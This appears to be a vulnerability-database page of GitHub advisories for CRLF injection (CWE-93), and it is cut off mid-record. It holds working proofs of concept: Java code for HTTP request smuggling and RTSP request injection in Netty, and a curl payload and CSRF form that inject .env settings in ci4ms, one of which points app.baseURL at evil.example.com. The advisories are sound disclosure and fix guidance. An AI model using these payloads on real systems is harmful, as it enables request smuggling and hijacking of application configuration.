CWE-93
AllowedImproper Neutralization of CRLF Sequences ('CRLF Injection')
Abstraction: Base · Status: Draft
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
323 vulnerabilities reference this CWE, most recent first.
GHSA-V65P-HGF8-V8QQ
Vulnerability from github – Published: 2022-05-17 02:45 – Updated: 2022-05-17 02:45An issue was discovered on Accellion FTA devices before FTA_9_12_180. There is a home/seos/courier/login.html auth_params CRLF attack vector.
{
"affected": [],
"aliases": [
"CVE-2017-8791"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-05-05T18:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered on Accellion FTA devices before FTA_9_12_180. There is a home/seos/courier/login.html auth_params CRLF attack vector.",
"id": "GHSA-v65p-hgf8-v8qq",
"modified": "2022-05-17T02:45:15Z",
"published": "2022-05-17T02:45:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8791"
},
{
"type": "WEB",
"url": "https://gist.github.com/anonymous/32e2894fa29176f3f32cb2b2bb7c24cb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V8H7-RR48-VMMV
Vulnerability from github – Published: 2026-05-05 18:27 – Updated: 2026-05-08 19:32Summary
Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().
The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.
In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.
Details
The root issue is that URI validation exists only on the constructor path, but not on the public setter path.
io.netty.handler.codec.http.DefaultHttpRequest- The constructor calls
HttpUtil.validateRequestLineTokens(method, uri) setUri(String uri)only performscheckNotNulland does not validateio.netty.handler.codec.http.DefaultFullHttpRequestsetUri(String uri)delegates to the parent implementationio.netty.handler.codec.http.HttpRequestEncoder- Writes
request.uri()directly into the request line io.netty.handler.codec.rtsp.RtspEncoder- Writes
request.uri()directly into the request line
This creates the following bypass:
- An application creates a
DefaultHttpRequestorDefaultFullHttpRequestwith a safe URI - Later, attacker-influenced input is passed into
setUri() HttpRequestEncoderorRtspEncoderencodes that value verbatim- The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests
This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.
PoC (HTTP)
The following code first creates a normal request object and then injects a malicious request line using setUri().
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.util.CharsetUtil;
public final class HttpSetUriSmugglePoc {
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());
EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");
request.setUri("/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1");
client.writeOutbound(request);
ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded request ===");
System.out.println(outbound.toString(CharsetUtil.US_ASCII));
System.out.println("=== Decoded by HttpServerCodec ===");
server.writeInbound(outbound.retainedDuplicate());
Object msg;
while ((msg = server.readInbound()) != null) {
System.out.println(msg);
}
outbound.release();
client.finishAndReleaseAll();
server.finishAndReleaseAll();
}
}
When reproduced, the raw encoded request looks like this:
GET /s1 HTTP/1.1
POST /s2 HTTP/1.1
content-length: 11
Hello WorldGET /s1 HTTP/1.1
HttpServerCodec then parses this as multiple HTTP messages rather than a single request:
GET /s1POST /s2with bodyHello World- trailing
GET /s1
This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.
PoC (RTSP)
The same root cause also affects RtspEncoder. A minimal reproduction is shown below.
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.rtsp.RtspDecoder;
import io.netty.handler.codec.rtsp.RtspEncoder;
import io.netty.handler.codec.rtsp.RtspMethods;
import io.netty.handler.codec.rtsp.RtspVersions;
import io.netty.util.CharsetUtil;
public final class RtspSetUriSmugglePoc {
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());
EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());
DefaultHttpRequest request = new DefaultHttpRequest(
RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media");
request.setUri("rtsp://cam/stream RTSP/1.0\r\n" +
"CSeq: 1\r\n\r\n" +
"DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" +
"CSeq: 2\r\n\r\n" +
"OPTIONS rtsp://cam/final");
client.writeOutbound(request);
ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded RTSP request ===");
System.out.println(outbound.toString(CharsetUtil.US_ASCII));
System.out.println("=== Decoded by RtspDecoder ===");
server.writeInbound(outbound.retainedDuplicate());
}
}
When reproduced, RtspEncoder generates consecutive RTSP requests in a single encoded payload:
OPTIONS rtsp://cam/stream RTSP/1.0
CSeq: 1
DESCRIBE rtsp://cam/secret RTSP/1.0
CSeq: 2
OPTIONS rtsp://cam/final RTSP/1.0
RtspDecoder then parses this as three separate RTSP requests:
OPTIONS rtsp://cam/streamDESCRIBE rtsp://cam/secretOPTIONS rtsp://cam/final
This confirms that the same setter bypass is exploitable for RTSP request injection as well.
Impact
The vulnerable conditions are:
- The application uses
DefaultHttpRequestorDefaultFullHttpRequest - The request object is created first and later modified through
setUri() - The value passed into
setUri()is attacker-controlled or attacker-influenced - The object is eventually serialized by
HttpRequestEncoderorRtspEncoder
Under those conditions, an attacker may be able to:
- perform HTTP request smuggling
- trigger proxy/backend desynchronization
- inject additional requests toward internal APIs
- confuse request boundaries and bypass assumptions around authentication or routing
- inject RTSP requests
The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.
Root Cause
Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.
As a result, the constructors are safe while the public setUri() path is not, and the encoders trust and serialize the mutated value without revalidation.
Suggested Fix Direction
DefaultHttpRequest.setUri() and all delegating/inheriting paths should apply the same request-line token validation as the constructors.
Recommended regression coverage:
- verify that
setUri()rejects CRLF-containing input after object construction - verify that
DefaultFullHttpRequest.setUri()is blocked as well - verify that spaces,
\r,\n, and request-smuggling payloads are rejected - verify that both
HttpRequestEncoderandRtspEncoderare protected from setter-based bypasses
Affected Area
netty-codec-httpio.netty.handler.codec.http.DefaultHttpRequestio.netty.handler.codec.http.DefaultFullHttpRequestio.netty.handler.codec.http.HttpRequestEncoderio.netty.handler.codec.rtsp.RtspEncoder
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41417"
],
"database_specific": {
"cwe_ids": [
"CWE-444",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T18:27:35Z",
"nvd_published_at": "2026-05-06T22:16:25Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`.\n\nThe constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.\n\n### Details\nThe root issue is that URI validation exists only on the constructor path, but not on the public setter path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n - `setUri(String uri)` only performs `checkNotNull` and does not validate\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n - `setUri(String uri)` delegates to the parent implementation\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n - Writes `request.uri()` directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n - Writes `request.uri()` directly into the request line\n\nThis creates the following bypass:\n\n1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests\n\nThis appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code first creates a normal request object and then injects a malicious request line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.http.HttpMethod;\nimport io.netty.handler.codec.http.HttpRequestEncoder;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.HttpVersion;\nimport io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n public static void main(String[] args) {\n EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());\n EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.GET, \"/safe\");\n\n request.setUri(\"/s1 HTTP/1.1\\r\\n\" +\n \"\\r\\n\" +\n \"POST /s2 HTTP/1.1\\r\\n\" +\n \"content-length: 11\\r\\n\\r\\n\" +\n \"Hello World\" +\n \"GET /s1\");\n\n client.writeOutbound(request);\n ByteBuf outbound = client.readOutbound();\n\n System.out.println(\"=== Raw encoded request ===\");\n System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n System.out.println(\"=== Decoded by HttpServerCodec ===\");\n server.writeInbound(outbound.retainedDuplicate());\n\n Object msg;\n while ((msg = server.readInbound()) != null) {\n System.out.println(msg);\n }\n\n outbound.release();\n client.finishAndReleaseAll();\n server.finishAndReleaseAll();\n }\n}\n```\n\nWhen reproduced, the raw encoded request looks like this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length: 11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST /s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `RtspEncoder`. A minimal reproduction is shown below.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.rtsp.RtspDecoder;\nimport io.netty.handler.codec.rtsp.RtspEncoder;\nimport io.netty.handler.codec.rtsp.RtspMethods;\nimport io.netty.handler.codec.rtsp.RtspVersions;\nimport io.netty.util.CharsetUtil;\n\npublic final class RtspSetUriSmugglePoc {\n public static void main(String[] args) {\n EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());\n EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, \"rtsp://safe/media\");\n\n request.setUri(\"rtsp://cam/stream RTSP/1.0\\r\\n\" +\n \"CSeq: 1\\r\\n\\r\\n\" +\n \"DESCRIBE rtsp://cam/secret RTSP/1.0\\r\\n\" +\n \"CSeq: 2\\r\\n\\r\\n\" +\n \"OPTIONS rtsp://cam/final\");\n\n client.writeOutbound(request);\n ByteBuf outbound = client.readOutbound();\n\n System.out.println(\"=== Raw encoded RTSP request ===\");\n System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n System.out.println(\"=== Decoded by RtspDecoder ===\");\n server.writeInbound(outbound.retainedDuplicate());\n }\n}\n```\n\nWhen reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload:\n\n```text\nOPTIONS rtsp://cam/stream RTSP/1.0\nCSeq: 1\n\nDESCRIBE rtsp://cam/secret RTSP/1.0\nCSeq: 2\n\nOPTIONS rtsp://cam/final RTSP/1.0\n```\n\n`RtspDecoder` then parses this as three separate RTSP requests:\n\n- `OPTIONS rtsp://cam/stream`\n- `DESCRIBE rtsp://cam/secret`\n- `OPTIONS rtsp://cam/final`\n\nThis confirms that the same setter bypass is exploitable for RTSP request injection as well.\n\n### Impact\nThe vulnerable conditions are:\n\n- The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest`\n- The request object is created first and later modified through `setUri()`\n- The value passed into `setUri()` is attacker-controlled or attacker-influenced\n- The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder`\n\nUnder those conditions, an attacker may be able to:\n\n- perform HTTP request smuggling\n- trigger proxy/backend desynchronization\n- inject additional requests toward internal APIs\n- confuse request boundaries and bypass assumptions around authentication or routing\n- inject RTSP requests\n\nThe exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.\n\n### Root Cause\nValidation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.\n\nAs a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation.\n\n### Suggested Fix Direction\n`DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors.\n\nRecommended regression coverage:\n\n- verify that `setUri()` rejects CRLF-containing input after object construction\n- verify that `DefaultFullHttpRequest.setUri()` is blocked as well\n- verify that spaces, `\\r`, `\\n`, and request-smuggling payloads are rejected\n- verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses\n\n### Affected Area\n- `netty-codec-http`\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n- `io.netty.handler.codec.rtsp.RtspEncoder`",
"id": "GHSA-v8h7-rr48-vmmv",
"modified": "2026-05-08T19:32:42Z",
"published": "2026-05-05T18:27:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection"
}
GHSA-VFG9-PHJP-9FRW
Vulnerability from github – Published: 2022-05-13 01:26 – Updated: 2024-09-27 15:42CRLF injection vulnerability in Kallithea before 0.3 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the came_from parameter to _admin/login.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "kallithea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-5285"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-02T21:07:28Z",
"nvd_published_at": "2015-10-29T20:59:00Z",
"severity": "HIGH"
},
"details": "CRLF injection vulnerability in Kallithea before 0.3 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the `came_from` parameter to `_admin/login`.",
"id": "GHSA-vfg9-phjp-9frw",
"modified": "2024-09-27T15:42:07Z",
"published": "2022-05-13T01:26:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5285"
},
{
"type": "PACKAGE",
"url": "https://github.com/NexMirror/Kallithea"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/kallithea/PYSEC-2015-13.yaml"
},
{
"type": "WEB",
"url": "https://kallithea-scm.org/security/cve-2015-5285.html"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/38424"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/133897/Kallithea-0.2.9-HTTP-Response-Splitting.html"
},
{
"type": "WEB",
"url": "http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5267.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Kallithea CRLF injection vulnerability"
}
GHSA-VFHX-5459-QHQH
Vulnerability from github – Published: 2026-04-08 19:16 – Updated: 2026-04-08 19:16Summary
The Install::index() controller reads the host POST parameter without any validation and passes it directly into updateEnvSettings(), which writes it into the .env file via preg_replace(). Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the .env file. The install routes have CSRF protection explicitly disabled, and the InstallFilter can be bypassed when cache('settings') is empty (cache expiry or fresh deployment).
Details
In modules/Install/Controllers/Install.php, the $valData array (lines 13-27) defines validation rules for all POST parameters except host. The host value is read at line 35:
// line 32-41
$updates = [
'CI_ENVIRONMENT' => 'development',
'app.baseURL' => '\'' . $this->request->getPost('baseUrl') . '\'',
'database.default.hostname' => $this->request->getPost('host'), // NO VALIDATION
'database.default.database' => $this->request->getPost('dbname'),
// ...
];
This value is passed to updateEnvSettings() (lines 89-101), which uses preg_replace with the raw value as the replacement string:
// line 94-98
foreach ($updates as $key => $value) {
$pattern = '/^' . preg_quote($key, '/') . '=.*/m';
$replacement = "{$key}={$value}";
if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);
else $contents .= PHP_EOL . $replacement;
}
Since the env template has all lines commented out (e.g., # database.default.hostname = localhost), the pattern does not match, and the value is appended verbatim — including any embedded newline characters. This allows injection of arbitrary key=value pairs into .env.
The dbpassword field (line 17) is a secondary vector — its validation (permit_empty|max_length[255]) does not reject newline characters.
Access conditions:
- CSRF is explicitly disabled for install routes (InstallConfig.php:7-9), confirmed consumed by Filters.php:220-231,246-251.
- InstallFilter (line 13) only blocks when both .env exists and cache('settings') is populated. The endpoint is accessible during fresh install or after cache expiry/clear.
Mitigation note: encryption.key injection is NOT exploitable because generateEncryptionKey() (line 70) runs after updateEnvSettings() and overwrites all encryption.key= lines with a cryptographically random value. However, all other .env settings remain injectable.
PoC
Scenario: Application is deployed but cache has expired (or fresh install window).
# Inject app.baseURL override and disable secure requests via host parameter
# The %0a represents a newline that creates new .env lines
curl -X POST 'http://target/install/' \
-d 'baseUrl=http://target/&dbname=ci4ms&dbusername=root&dbpassword=&dbdriver=MySQLi&dbpre=ci4ms_&dbport=3306&name=Admin&surname=User&username=admin&password=Password123&email=admin@example.com&siteName=TestSite&host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\Session\Handlers\DatabaseHandler'
Expected result: The .env file will contain:
database.default.hostname=localhost
app.baseURL=http://evil.example.com/
app.forceGlobalSecureRequests=false
session.driver=CodeIgniter\Session\Handlers\DatabaseHandler
These injected lines override the legitimate app.baseURL set earlier (CI4's DotEnv processes top-to-bottom; later values win for putenv), redirect the application base URL to an attacker-controlled domain, and modify session handling.
CSRF exploitation variant (no direct access needed):
<!-- Hosted on attacker site, victim admin visits while cache is empty -->
<form id="f" method="POST" action="http://target/install/">
<input name="baseUrl" value="http://target/">
<input name="host" value="localhost app.baseURL='http://evil.example.com/'">
<!-- ... other required fields ... -->
</form>
<script>document.getElementById('f').submit();</script>
Impact
An unauthenticated attacker can inject arbitrary configuration into the .env file when the install endpoint is accessible (fresh deployment or cache expiry). This enables:
- Application URL hijacking — injecting
app.baseURLto an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure - Security downgrade — disabling
forceGlobalSecureRequests, CSP, or other security settings - Session manipulation — changing session driver or save path configuration
- Full application reconfiguration — the
copyEnvFile()method overwrites the existing.envwith the template before applying updates, destroying the current configuration (denial of service) - Database redirect — while not via the
hostinjection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior
The attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network.
Recommended Fix
- Add validation for the
hostparameter — reject newlines and restrict to valid hostnames/IPs:
// In $valData, add:
'host' => ['label' => lang('Install.databaseHost'), 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'],
- Sanitize all values in
updateEnvSettings()— strip newlines from replacement strings:
private function updateEnvSettings(array $updates)
{
$envPath = ROOTPATH . '.env';
if (!file_exists($envPath)) return ['error' => "'.env' file not found."];
$contents = file_get_contents($envPath);
foreach ($updates as $key => $value) {
$value = str_replace(["\r", "\n"], '', (string) $value); // Strip CRLF
$pattern = '/^' . preg_quote($key, '/') . '=.*/m';
$replacement = "{$key}={$value}";
if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);
else $contents .= PHP_EOL . $replacement;
}
file_put_contents($envPath, $contents);
return true;
}
-
Add newline validation to
dbpassword— addregex_match[/^[^\r\n]*$/]to the validation rules. -
Strengthen
InstallFilter— consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.3.0"
},
"package": {
"ecosystem": "Packagist",
"name": "ci4-cms-erp/ci4ms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39394"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T19:16:12Z",
"nvd_published_at": "2026-04-08T15:16:14Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `Install::index()` controller reads the `host` POST parameter without any validation and passes it directly into `updateEnvSettings()`, which writes it into the `.env` file via `preg_replace()`. Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the `.env` file. The install routes have CSRF protection explicitly disabled, and the `InstallFilter` can be bypassed when `cache(\u0027settings\u0027)` is empty (cache expiry or fresh deployment).\n\n## Details\n\nIn `modules/Install/Controllers/Install.php`, the `$valData` array (lines 13-27) defines validation rules for all POST parameters **except** `host`. The `host` value is read at line 35:\n\n```php\n// line 32-41\n$updates = [\n \u0027CI_ENVIRONMENT\u0027 =\u003e \u0027development\u0027,\n \u0027app.baseURL\u0027 =\u003e \u0027\\\u0027\u0027 . $this-\u003erequest-\u003egetPost(\u0027baseUrl\u0027) . \u0027\\\u0027\u0027,\n \u0027database.default.hostname\u0027 =\u003e $this-\u003erequest-\u003egetPost(\u0027host\u0027), // NO VALIDATION\n \u0027database.default.database\u0027 =\u003e $this-\u003erequest-\u003egetPost(\u0027dbname\u0027),\n // ...\n];\n```\n\nThis value is passed to `updateEnvSettings()` (lines 89-101), which uses `preg_replace` with the raw value as the replacement string:\n\n```php\n// line 94-98\nforeach ($updates as $key =\u003e $value) {\n $pattern = \u0027/^\u0027 . preg_quote($key, \u0027/\u0027) . \u0027=.*/m\u0027;\n $replacement = \"{$key}={$value}\";\n if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);\n else $contents .= PHP_EOL . $replacement;\n}\n```\n\nSince the `env` template has all lines commented out (e.g., `# database.default.hostname = localhost`), the pattern does not match, and the value is appended verbatim \u2014 including any embedded newline characters. This allows injection of arbitrary key=value pairs into `.env`.\n\nThe `dbpassword` field (line 17) is a secondary vector \u2014 its validation (`permit_empty|max_length[255]`) does not reject newline characters.\n\n**Access conditions:**\n- CSRF is explicitly disabled for install routes (`InstallConfig.php:7-9`), confirmed consumed by `Filters.php:220-231,246-251`.\n- `InstallFilter` (line 13) only blocks when **both** `.env` exists **and** `cache(\u0027settings\u0027)` is populated. The endpoint is accessible during fresh install or after cache expiry/clear.\n\n**Mitigation note:** `encryption.key` injection is NOT exploitable because `generateEncryptionKey()` (line 70) runs after `updateEnvSettings()` and overwrites all `encryption.key=` lines with a cryptographically random value. However, all other `.env` settings remain injectable.\n\n## PoC\n\n**Scenario:** Application is deployed but cache has expired (or fresh install window).\n\n```bash\n# Inject app.baseURL override and disable secure requests via host parameter\n# The %0a represents a newline that creates new .env lines\ncurl -X POST \u0027http://target/install/\u0027 \\\n -d \u0027baseUrl=http://target/\u0026dbname=ci4ms\u0026dbusername=root\u0026dbpassword=\u0026dbdriver=MySQLi\u0026dbpre=ci4ms_\u0026dbport=3306\u0026name=Admin\u0026surname=User\u0026username=admin\u0026password=Password123\u0026email=admin@example.com\u0026siteName=TestSite\u0026host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\\Session\\Handlers\\DatabaseHandler\u0027\n```\n\n**Expected result:** The `.env` file will contain:\n\n```\ndatabase.default.hostname=localhost\napp.baseURL=http://evil.example.com/\napp.forceGlobalSecureRequests=false\nsession.driver=CodeIgniter\\Session\\Handlers\\DatabaseHandler\n```\n\nThese injected lines override the legitimate `app.baseURL` set earlier (CI4\u0027s DotEnv processes top-to-bottom; later values win for `putenv`), redirect the application base URL to an attacker-controlled domain, and modify session handling.\n\n**CSRF exploitation variant** (no direct access needed):\n\n```html\n\u003c!-- Hosted on attacker site, victim admin visits while cache is empty --\u003e\n\u003cform id=\"f\" method=\"POST\" action=\"http://target/install/\"\u003e\n \u003cinput name=\"baseUrl\" value=\"http://target/\"\u003e\n \u003cinput name=\"host\" value=\"localhost\u0026#10;app.baseURL=\u0027http://evil.example.com/\u0027\"\u003e\n \u003c!-- ... other required fields ... --\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027f\u0027).submit();\u003c/script\u003e\n```\n\n## Impact\n\nAn unauthenticated attacker can inject arbitrary configuration into the `.env` file when the install endpoint is accessible (fresh deployment or cache expiry). This enables:\n\n- **Application URL hijacking** \u2014 injecting `app.baseURL` to an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure\n- **Security downgrade** \u2014 disabling `forceGlobalSecureRequests`, CSP, or other security settings\n- **Session manipulation** \u2014 changing session driver or save path configuration\n- **Full application reconfiguration** \u2014 the `copyEnvFile()` method overwrites the existing `.env` with the template before applying updates, destroying the current configuration (denial of service)\n- **Database redirect** \u2014 while not via the `host` injection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior\n\nThe attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network.\n\n## Recommended Fix\n\n1. **Add validation for the `host` parameter** \u2014 reject newlines and restrict to valid hostnames/IPs:\n\n```php\n// In $valData, add:\n\u0027host\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Install.databaseHost\u0027), \u0027rules\u0027 =\u003e \u0027required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]\u0027],\n```\n\n2. **Sanitize all values in `updateEnvSettings()`** \u2014 strip newlines from replacement strings:\n\n```php\nprivate function updateEnvSettings(array $updates)\n{\n $envPath = ROOTPATH . \u0027.env\u0027;\n if (!file_exists($envPath)) return [\u0027error\u0027 =\u003e \"\u0027.env\u0027 file not found.\"];\n $contents = file_get_contents($envPath);\n foreach ($updates as $key =\u003e $value) {\n $value = str_replace([\"\\r\", \"\\n\"], \u0027\u0027, (string) $value); // Strip CRLF\n $pattern = \u0027/^\u0027 . preg_quote($key, \u0027/\u0027) . \u0027=.*/m\u0027;\n $replacement = \"{$key}={$value}\";\n if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);\n else $contents .= PHP_EOL . $replacement;\n }\n file_put_contents($envPath, $contents);\n return true;\n}\n```\n\n3. **Add newline validation to `dbpassword`** \u2014 add `regex_match[/^[^\\r\\n]*$/]` to the validation rules.\n\n4. **Strengthen `InstallFilter`** \u2014 consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).",
"id": "GHSA-vfhx-5459-qhqh",
"modified": "2026-04-08T19:16:12Z",
"published": "2026-04-08T19:16:12Z",
"references": [
{
"type": "WEB",
